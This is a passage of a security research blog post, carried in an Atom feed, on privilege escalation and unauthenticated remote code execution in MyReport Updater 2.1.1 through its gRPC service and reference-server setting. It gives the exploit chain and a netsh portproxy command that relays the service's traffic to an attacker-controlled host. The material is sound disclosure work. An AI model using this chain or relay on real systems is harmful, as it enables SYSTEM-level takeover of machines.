<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>Quarkslab's blog - MyReport</title><link href="http://blog.quarkslab.com/" rel="alternate"></link><link href="http://blog.quarkslab.com/feeds/myreport.rss.xml" rel="self"></link><id>http://blog.quarkslab.com/</id><updated>2026-10-13T00:00:00+02:00</updated><entry><title>MyReport Updater: From gRPC to SYSTEM</title><link href="http://blog.quarkslab.com/myreport-updater-from-grpc-to-system.html" rel="alternate"></link><published>2026-10-13T00:00:00+02:00</published><updated>2026-10-13T00:00:00+02:00</updated><author><name>Lucas Laise</name></author><id>tag:blog.quarkslab.com,2026-10-13:/myreport-updater-from-grpc-to-system.html</id><summary type="html">&lt;p&gt;MyReport is a report generation software often used as a component of web-based applications. We describe a privilege escalation and remote code execution vulnerabilities in MyReport Updater 2.1.1 through its update configuration and gRPC service.&lt;/p&gt;</summary><content type="html">&lt;h1 id="introduction"&gt;Introduction&lt;/h1&gt;
&lt;p&gt;During an assumed breach assessment, we were in a position where we had to find a way to elevate our privileges on a Citrix server. And what's the easiest way to do that on an up-to-date server? &lt;s&gt;Find a Windows 0day with Claude&lt;/s&gt; Take a look at third-party applications running on the target!&lt;/p&gt;
&lt;p&gt;The application "My Report Updater" quickly got our attention: a user-level manager communicates over gRPC with a service running as &lt;code&gt;LocalSystem&lt;/code&gt;. A service that downloads modules and writes them to disk. This is a good place to look for bugs.&lt;/p&gt;
&lt;p&gt;I reviewed version &lt;code&gt;2.1.1&lt;/code&gt; in a Windows environment. The service accepted gRPC requests on TCP port &lt;code&gt;9095&lt;/code&gt;. The manager could select a reference server and an installation directory.&lt;/p&gt;
&lt;p&gt;I ended up with the following chain:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Point "MyReport Updater" at an attacker-controlled reference server.&lt;/li&gt;
&lt;li&gt;Provide a modified "MyReport module" archive.&lt;/li&gt;
&lt;li&gt;Return the MD5 value and file size expected for that modified archive.&lt;/li&gt;
&lt;li&gt;Ask the &lt;code&gt;LocalSystem&lt;/code&gt; service to install the archive in a chosen directory.&lt;/li&gt;
&lt;li&gt;Place a DLL where a privileged process loads it.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;The result in the tested environment was code execution as &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;While testing the chain, I found that the gRPC service listened on all interfaces and I could call its &lt;code&gt;UpdateConfigReferent&lt;/code&gt; method from another host without authentication. The request changed the reference host, port, and operating mode of the target.&lt;/p&gt;
&lt;p&gt;This post goes through findings and exploitation for both LPE and RCE vulnerabilities.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;TLDR: An LPE and an unauthenticated RCE have been found. Pre-requisites for RCE are network access to TCP port &lt;code&gt;9095&lt;/code&gt; and egress traffic from the updater to the attacker-controlled infrastructure.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h1 id="description"&gt;Description&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://www.myreport.fr/myreport/"&gt;MyReport&lt;/a&gt; is a Business Intelligence platform that centralizes data, automates reporting, and creates dashboards for analysis and decision-making. It was installed in &lt;code&gt;Managed&lt;/code&gt; mode on the Citrix server available during the assessment. The solution includes the main software, an updater, and several modules. The modules can be installed with &lt;code&gt;MyReport Updater&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The official description of &lt;a href="https://live.calenco.com/api/sharedpubs/BDD10B16E56F50E87B4A6E7DB78D57612988F298CF54DB99CAD62B59A1CCAEDE/browser/content/ch03s02.html"&gt;MyReport Updater&lt;/a&gt; states that its goal is to make MyReport deployment and updates easier. It contains:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;a Windows service named &lt;code&gt;MyReportUpdaterService&lt;/code&gt;, running as &lt;code&gt;LocalSystem&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;an &lt;code&gt;Updater Manager&lt;/code&gt; application used to control the service from a GUI or command line;&lt;/li&gt;
&lt;li&gt;a &lt;code&gt;MyReport Updater.msi&lt;/code&gt; file used to install these components.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The analysis showed that &lt;code&gt;UpdaterManager.exe&lt;/code&gt; communicates with &lt;code&gt;MyReportUpdaterService&lt;/code&gt; over gRPC on TCP port &lt;code&gt;9095&lt;/code&gt;. The configuration can be changed to use any reference server. This server contacts the MyReport servers and forwards updates.&lt;/p&gt;
&lt;p class="center-text"&gt;
&lt;img src="resources/2026-10-13_myreport-updater-grpc-to-system/01-managed-mode-architecture.png"/&gt;&lt;br/&gt;
&lt;i&gt;MyReport Updater architecture in Managed mode.&lt;/i&gt;
&lt;/p&gt;
&lt;h1 id="impact"&gt;Impact&lt;/h1&gt;
&lt;p&gt;An attacker with standard user privileges can set an arbitrary reference server. If &lt;code&gt;MyReportUpdaterService&lt;/code&gt; can contact this server over gRPC on TCP port &lt;code&gt;9095&lt;/code&gt;, the attacker can write files into a chosen directory with &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt; privileges.&lt;/p&gt;
&lt;p&gt;The attacker can use this file-write access to place a DLL that will be loaded by a privileged process. The DLL code is then executed with high privileges.&lt;/p&gt;
&lt;p&gt;This vulnerability gives full control of the Citrix server. It can also affect other machines where the vulnerable MyReport solution is installed. &lt;code&gt;SYSTEM&lt;/code&gt; is the highest local privilege level on Windows.&lt;/p&gt;
&lt;h1 id="exploitation"&gt;Exploitation&lt;/h1&gt;
&lt;p&gt;We created a proof of concept on the Citrix server. The proof changes the reference server to one controlled by the attacker, bypasses the integrity checks for downloaded files, and writes files into an arbitrary directory.&lt;/p&gt;
&lt;p&gt;The proof was developed and tested against "MyReport Updater" version &lt;code&gt;2.1.1&lt;/code&gt;.&lt;/p&gt;
&lt;p class="center-text"&gt;
&lt;img src="resources/2026-10-13_myreport-updater-grpc-to-system/02-updater-manager-version.png"/&gt;&lt;br/&gt;
&lt;i&gt;Updater Manager version.&lt;/i&gt;
&lt;/p&gt;
&lt;p&gt;We first installed MyReport in a local virtual machine. This allowed us to monitor the actions performed by the solution.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;MyReportUpdaterService&lt;/code&gt; service runs as &lt;code&gt;LocalSystem&lt;/code&gt;, also displayed as &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt; on an English Windows system.&lt;/p&gt;
&lt;p class="center-text"&gt;
&lt;img src="resources/2026-10-13_myreport-updater-grpc-to-system/03-service-local-system.png"/&gt;&lt;br/&gt;
&lt;i&gt;The service runs as NT AUTHORITY\SYSTEM.&lt;/i&gt;
&lt;/p&gt;
&lt;p&gt;The service listens on TCP port &lt;code&gt;9095&lt;/code&gt;.&lt;/p&gt;
&lt;p class="center-text"&gt;
&lt;img src="resources/2026-10-13_myreport-updater-grpc-to-system/04-service-listening-9095.png"/&gt;&lt;br/&gt;
&lt;i&gt;The service listens on TCP port 9095.&lt;/i&gt;
&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;UpdaterManager.exe&lt;/code&gt; and &lt;code&gt;UpdaterManagerDesktop.exe&lt;/code&gt; processes communicate with TCP port &lt;code&gt;9095&lt;/code&gt;.&lt;/p&gt;
&lt;p class="center-text"&gt;
&lt;img src="resources/2026-10-13_myreport-updater-grpc-to-system/05-manager-service-traffic.png"/&gt;&lt;br/&gt;
&lt;i&gt;Network traffic between the updater and the service.&lt;/i&gt;
&lt;/p&gt;
&lt;p&gt;Wireshark identified the traffic as gRPC.&lt;/p&gt;
&lt;p class="center-text"&gt;
&lt;img src="resources/2026-10-13_myreport-updater-grpc-to-system/06-grpc-traffic.png"/&gt;&lt;br/&gt;
&lt;i&gt;gRPC traffic identified with Wireshark.&lt;/i&gt;
&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;UpdaterService.exe&lt;/code&gt; process communicates over TCP port &lt;code&gt;443&lt;/code&gt;. TLS requests contain the &lt;code&gt;updater.myreport.fr&lt;/code&gt; domain in the Server Name Indication field.&lt;/p&gt;
&lt;p class="center-text"&gt;
&lt;img src="resources/2026-10-13_myreport-updater-grpc-to-system/07-updater-sni.png"/&gt;&lt;br/&gt;
&lt;i&gt;TLS packet containing updater.myreport.fr in the SNI field.&lt;/i&gt;
&lt;/p&gt;
&lt;p&gt;These observations show that programs running with standard privileges communicate with a service running with high privileges. The service also sends HTTPS requests to a vendor server.&lt;/p&gt;
&lt;p&gt;Module installation actions are started from &lt;code&gt;UpdaterManager.exe&lt;/code&gt;, but the service downloads the files and writes them to the system.&lt;/p&gt;
&lt;p class="center-text"&gt;
&lt;img src="resources/2026-10-13_myreport-updater-grpc-to-system/08-service-writes-module.png"/&gt;&lt;br/&gt;
&lt;i&gt;The service installs the module files.&lt;/i&gt;
&lt;/p&gt;
&lt;p&gt;The following programs communicate with the privileged service:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;C:\Program Files (x86)\MyReport\MyReport Updater\manager\UpdaterManagerDesktop.exe&lt;/code&gt;, the GUI;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;C:\Program Files (x86)\MyReport\MyReport Updater\manager\UpdaterManager.exe&lt;/code&gt;, the CLI.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The CLI provides more features than the GUI. For example, it can change the client mode to &lt;code&gt;Referent&lt;/code&gt;, &lt;code&gt;Customized&lt;/code&gt;, &lt;code&gt;Managed&lt;/code&gt;, or &lt;code&gt;UnManaged&lt;/code&gt;. This changes how installation packages are retrieved. This feature is restricted in the GUI, but not in the CLI.&lt;/p&gt;
&lt;p class="center-text"&gt;
&lt;img src="resources/2026-10-13_myreport-updater-grpc-to-system/09-cli-referent-config.png"/&gt;&lt;br/&gt;
&lt;i&gt;Changing the configuration and reference server.&lt;/i&gt;
&lt;/p&gt;
&lt;p&gt;The exploitation scenario is:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Change the reference server on the Citrix machine to a server controlled by the attacker.&lt;/li&gt;
&lt;li&gt;Download and modify the MyReport installation files.&lt;/li&gt;
&lt;li&gt;Serve updates containing arbitrary code.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Internet traffic to TCP port &lt;code&gt;9095&lt;/code&gt; was blocked in the tested environment. Internal traffic to this port was not blocked. We could run commands on the internal machine &lt;code&gt;XXXXXX29&lt;/code&gt;, so we used it as a relay with this rule:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nx"&gt;netsh&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;interface&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;portproxy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;add&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;v4tov4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;listenport&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;9095&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;listenaddress&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="m m-Double"&gt;192.168.23.180&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;connectport&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;connectaddress&lt;/span&gt;&lt;span class="p"&gt;=&lt;/span&gt;&lt;span class="nx"&gt;X&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;X&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;X&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;X&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;All traffic received on TCP port &lt;code&gt;9095&lt;/code&gt; of the relay was forwarded to a server controlled by us on TCP port &lt;code&gt;80&lt;/code&gt;. This traffic was then forwarded again to a virtual machine running MyReport in &lt;code&gt;Referent&lt;/code&gt; mode.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Internet traffic to TCP ports &lt;code&gt;80&lt;/code&gt; and &lt;code&gt;443&lt;/code&gt; was allowed from the relay machine.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;The MyReport configuration was changed to replace the existing reference server with the relay machine. At this point, no option was available to change the reference-server port, so the relay was required.&lt;/p&gt;
&lt;p&gt;The port was changed later with a custom gRPC request. This is described in &lt;a href="#remote-code-execution"&gt;Remote code execution&lt;/a&gt;. That method removes the need for the internal relay and bypasses the internal firewall restriction used in the first proof.&lt;/p&gt;
&lt;p class="center-text"&gt;
&lt;img src="resources/2026-10-13_myreport-updater-grpc-to-system/10-referent-changed.png"/&gt;&lt;br/&gt;
&lt;i&gt;The reference server was changed to the relay machine.&lt;/i&gt;
&lt;/p&gt;
&lt;p&gt;We then downloaded the ZIP archives containing the MyReport modules.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;PS &lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;:\&lt;/span&gt;&lt;span class="n"&gt;ProgramData&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;MyReport&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;Updater&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;Downloaded&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;updatermanager&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exe&lt;/span&gt; &lt;span class="n"&gt;add&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-products&lt;/span&gt; &lt;span class="n"&gt;administrator&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-version&lt;/span&gt; &lt;span class="n"&gt;6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;0&lt;/span&gt; &lt;span class="p"&gt;-&lt;/span&gt;&lt;span class="n"&gt;-serverPlatform&lt;/span&gt; &lt;span class="n"&gt;x64&lt;/span&gt;
&lt;span class="nb"&gt;PS &lt;/span&gt;&lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;:\&lt;/span&gt;&lt;span class="n"&gt;ProgramData&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;MyReport&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;Updater&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;Downloaded&lt;/span&gt;&lt;span class="p"&gt;&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;dir &lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;&lt;span class="n"&gt;6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;*&lt;/span&gt;

    &lt;span class="n"&gt;Directory&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;C&lt;/span&gt;&lt;span class="p"&gt;:\&lt;/span&gt;&lt;span class="n"&gt;ProgramData&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;MyReport&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;Updater&lt;/span&gt;&lt;span class="p"&gt;\&lt;/span&gt;&lt;span class="n"&gt;Downloaded&lt;/span&gt;

&lt;span class="n"&gt;Mode&lt;/span&gt;                 &lt;span class="n"&gt;LastWriteTime&lt;/span&gt;         &lt;span class="n"&gt;Length&lt;/span&gt; &lt;span class="n"&gt;Name&lt;/span&gt;
&lt;span class="p"&gt;----&lt;/span&gt;                 &lt;span class="p"&gt;-------------&lt;/span&gt;         &lt;span class="p"&gt;------&lt;/span&gt; &lt;span class="p"&gt;----&lt;/span&gt;
&lt;span class="n"&gt;-a&lt;/span&gt;&lt;span class="p"&gt;----&lt;/span&gt;        &lt;span class="n"&gt;10&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;20&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;2025&lt;/span&gt;   &lt;span class="n"&gt;5&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;56&lt;/span&gt; &lt;span class="n"&gt;PM&lt;/span&gt;       &lt;span class="n"&gt;90624414&lt;/span&gt; &lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AnyCPU&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;zip&lt;/span&gt;
&lt;span class="n"&gt;-a&lt;/span&gt;&lt;span class="p"&gt;----&lt;/span&gt;        &lt;span class="n"&gt;10&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;20&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;2025&lt;/span&gt;   &lt;span class="n"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;58&lt;/span&gt; &lt;span class="n"&gt;PM&lt;/span&gt;       &lt;span class="n"&gt;90618677&lt;/span&gt; &lt;span class="n"&gt;Administrator&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AnyCPU&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;zip&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;back&lt;/span&gt;
&lt;span class="n"&gt;-a&lt;/span&gt;&lt;span class="p"&gt;----&lt;/span&gt;        &lt;span class="n"&gt;10&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;20&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;2025&lt;/span&gt;   &lt;span class="n"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;58&lt;/span&gt; &lt;span class="n"&gt;PM&lt;/span&gt;       &lt;span class="n"&gt;79350416&lt;/span&gt; &lt;span class="n"&gt;Builder&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AnyCPU&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;zip&lt;/span&gt;
&lt;span class="n"&gt;-a&lt;/span&gt;&lt;span class="p"&gt;----&lt;/span&gt;        &lt;span class="n"&gt;10&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;20&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;2025&lt;/span&gt;   &lt;span class="n"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;58&lt;/span&gt; &lt;span class="n"&gt;PM&lt;/span&gt;        &lt;span class="n"&gt;3918325&lt;/span&gt; &lt;span class="n"&gt;BuilderAddIn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AnyCPU&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;zip&lt;/span&gt;
&lt;span class="n"&gt;-a&lt;/span&gt;&lt;span class="p"&gt;----&lt;/span&gt;        &lt;span class="n"&gt;10&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;20&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;2025&lt;/span&gt;   &lt;span class="n"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;59&lt;/span&gt; &lt;span class="n"&gt;PM&lt;/span&gt;        &lt;span class="n"&gt;3918492&lt;/span&gt; &lt;span class="n"&gt;BuilderAddIn&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;x86&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;zip&lt;/span&gt;
&lt;span class="n"&gt;-a&lt;/span&gt;&lt;span class="p"&gt;----&lt;/span&gt;        &lt;span class="n"&gt;10&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;20&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;2025&lt;/span&gt;   &lt;span class="n"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;59&lt;/span&gt; &lt;span class="n"&gt;PM&lt;/span&gt;      &lt;span class="n"&gt;168894332&lt;/span&gt; &lt;span class="n"&gt;Center&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AnyCPU&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;zip&lt;/span&gt;
&lt;span class="n"&gt;-a&lt;/span&gt;&lt;span class="p"&gt;----&lt;/span&gt;        &lt;span class="n"&gt;10&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;20&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;2025&lt;/span&gt;   &lt;span class="n"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;58&lt;/span&gt; &lt;span class="n"&gt;PM&lt;/span&gt;       &lt;span class="n"&gt;83223602&lt;/span&gt; &lt;span class="n"&gt;Data&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AnyCPU&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;zip&lt;/span&gt;
&lt;span class="n"&gt;-a&lt;/span&gt;&lt;span class="p"&gt;----&lt;/span&gt;        &lt;span class="n"&gt;10&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;20&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;2025&lt;/span&gt;   &lt;span class="n"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;58&lt;/span&gt; &lt;span class="n"&gt;PM&lt;/span&gt;       &lt;span class="n"&gt;67596139&lt;/span&gt; &lt;span class="n"&gt;Datarun&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AnyCPU&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;zip&lt;/span&gt;
&lt;span class="n"&gt;-a&lt;/span&gt;&lt;span class="p"&gt;----&lt;/span&gt;        &lt;span class="n"&gt;10&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;20&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;2025&lt;/span&gt;   &lt;span class="n"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;58&lt;/span&gt; &lt;span class="n"&gt;PM&lt;/span&gt;       &lt;span class="n"&gt;69279419&lt;/span&gt; &lt;span class="n"&gt;Messenger&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AnyCPU&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;zip&lt;/span&gt;
&lt;span class="n"&gt;-a&lt;/span&gt;&lt;span class="p"&gt;----&lt;/span&gt;        &lt;span class="n"&gt;10&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;20&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;2025&lt;/span&gt;   &lt;span class="n"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;59&lt;/span&gt; &lt;span class="n"&gt;PM&lt;/span&gt;       &lt;span class="n"&gt;45836173&lt;/span&gt; &lt;span class="n"&gt;MyReport&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AnyCPU&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;zip&lt;/span&gt;
&lt;span class="n"&gt;-a&lt;/span&gt;&lt;span class="p"&gt;----&lt;/span&gt;        &lt;span class="n"&gt;10&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;20&lt;/span&gt;&lt;span class="p"&gt;/&lt;/span&gt;&lt;span class="n"&gt;2025&lt;/span&gt;   &lt;span class="n"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;58&lt;/span&gt; &lt;span class="n"&gt;PM&lt;/span&gt;       &lt;span class="n"&gt;74031349&lt;/span&gt; &lt;span class="n"&gt;Page&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;6&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;0&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AnyCPU&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;zip&lt;/span&gt;
